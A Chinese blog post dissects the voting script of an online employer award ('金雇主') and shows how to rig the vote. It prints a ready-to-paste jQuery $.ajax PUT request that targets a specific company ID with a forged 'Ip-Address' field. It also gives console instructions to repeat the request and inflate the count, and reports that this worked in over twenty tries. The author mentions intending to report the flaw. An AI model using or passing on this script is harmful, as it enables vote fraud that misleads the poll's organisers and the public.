来看一看[金雇主]评选的网站细节

首先来看网页动态加载的部分:








可以看到网页加载script的顺序。接下来一个一个查看,实际上投票相关的内容在web.js中的如下区块内:

$(".companysLogo_ul li p a").click(function(){
var dataId = $(this).attr("data-id");
var url = "api/companies/"+dataId+"/votes";
var my = $(this)
var ip_address = $("#ip_address").html();
var data = {
"Ip-Address":ip_address
};
$.ajax({
url: url,
type: "PUT",
contentType: "application/json",
data:JSON.stringify(data),
success: function(data) {
var num = my.siblings("span").find("i").text();
my.siblings("span").find("i").text(parseInt(num)+1);
},
error: function(xhr, error) {
// console.log(xhr);
}
});
$.cookie(dataId,1,{ expires: 30 });
$(this).hide().next("b").show();
})

通过看原网页我们知道国君的dataId为568a1a82a9b58450a8b83d52,因此我们只要想办法变着IP来执行这个script就好。或者说通过“PUT”方法伪装IP发出这个requests。随便执行函数:

$.ajax({
url: "api/companies/568a1a82a9b58450a8b83d52/votes",
type: "PUT",
contentType: "application/json",
data:JSON.stringify({"Ip-Address":"198.160.120.1"}),
success: function(data) {
var num = my.siblings("span").find("i").text();
my.siblings("span").find("i").text(parseInt(num)+1);
},
error: function(xhr, error) {
// console.log(xhr);
}
});

报错找不到变量my,于是查找my:

var my = $(this)

$其实是一个函数名,就是用来获取部件里面的值

$()= document.getElementById()

因此my相当于获取了对象本身,这里的对象应该指的是

$(".companysLogo_ul li p a")

增加语句:

var my = $(".companysLogo_ul li p a")

没有报错,现在去网站上试试:

var my = $(".companysLogo_ul li p a")
$.ajax({
url: "api/companies/568a1a82a9b58450a8b83d52/votes",
type: "PUT",
contentType: "application/json",
data:JSON.stringify({"Ip-Address":"198.160.120.4"}),
success: function(data) {
var num = my.siblings("span").find("i").text();
my.siblings("span").find("i").text(parseInt(num)+1);
},
error: function(xhr, error) {
// console.log(xhr);
}
});

测试结果:不断刷新,每次等到不跳数了执行脚本,结果下次刷新的时候都会增加1票,试了不下20次每次都成功,不知道是真的每次都有人在我执行加刷新的1秒左右的时间投票还是真的有效。IP地址不用换,好像都可以继续投,有点不科学。不是网站的脚本写的傻逼了,就是我傻逼了,请各位指正!

p.s.方法:打开chrome等可以查看源代码的浏览器,打开网页,打开开发者工具,找到控制台,粘贴上面的代码,回车,刷新,粘贴,回车,刷新...话说试试就好,别太那啥,我在想办法向网站报告bug。。

再学习了一下,以下引用自w3school:
ajax() 方法通过 HTTP 请求加载远程数据。
该方法是 jQuery 底层 AJAX 实现。简单易用的高层实现见 $.get, $.post 等。$.ajax() 返回其创建的 XMLHttpRequest 对象。大多数情况下你无需直接操作该函数,除非你需要操作不常用的选项,以获得更多的灵活性。

我这请求已经发送ip了呀,不知道为什么远程不检查同一主机发出的ip字符是否和其ip对应。估计bug就在这个地方,后面啥啥啥的都不重要,关键是把votes的请求发出去,所以即便后面+1改成+100还是-100都没有影响,这点倒不至于那么傻逼。

你可能感兴趣的:(来看一看[金雇主]评选的网站细节)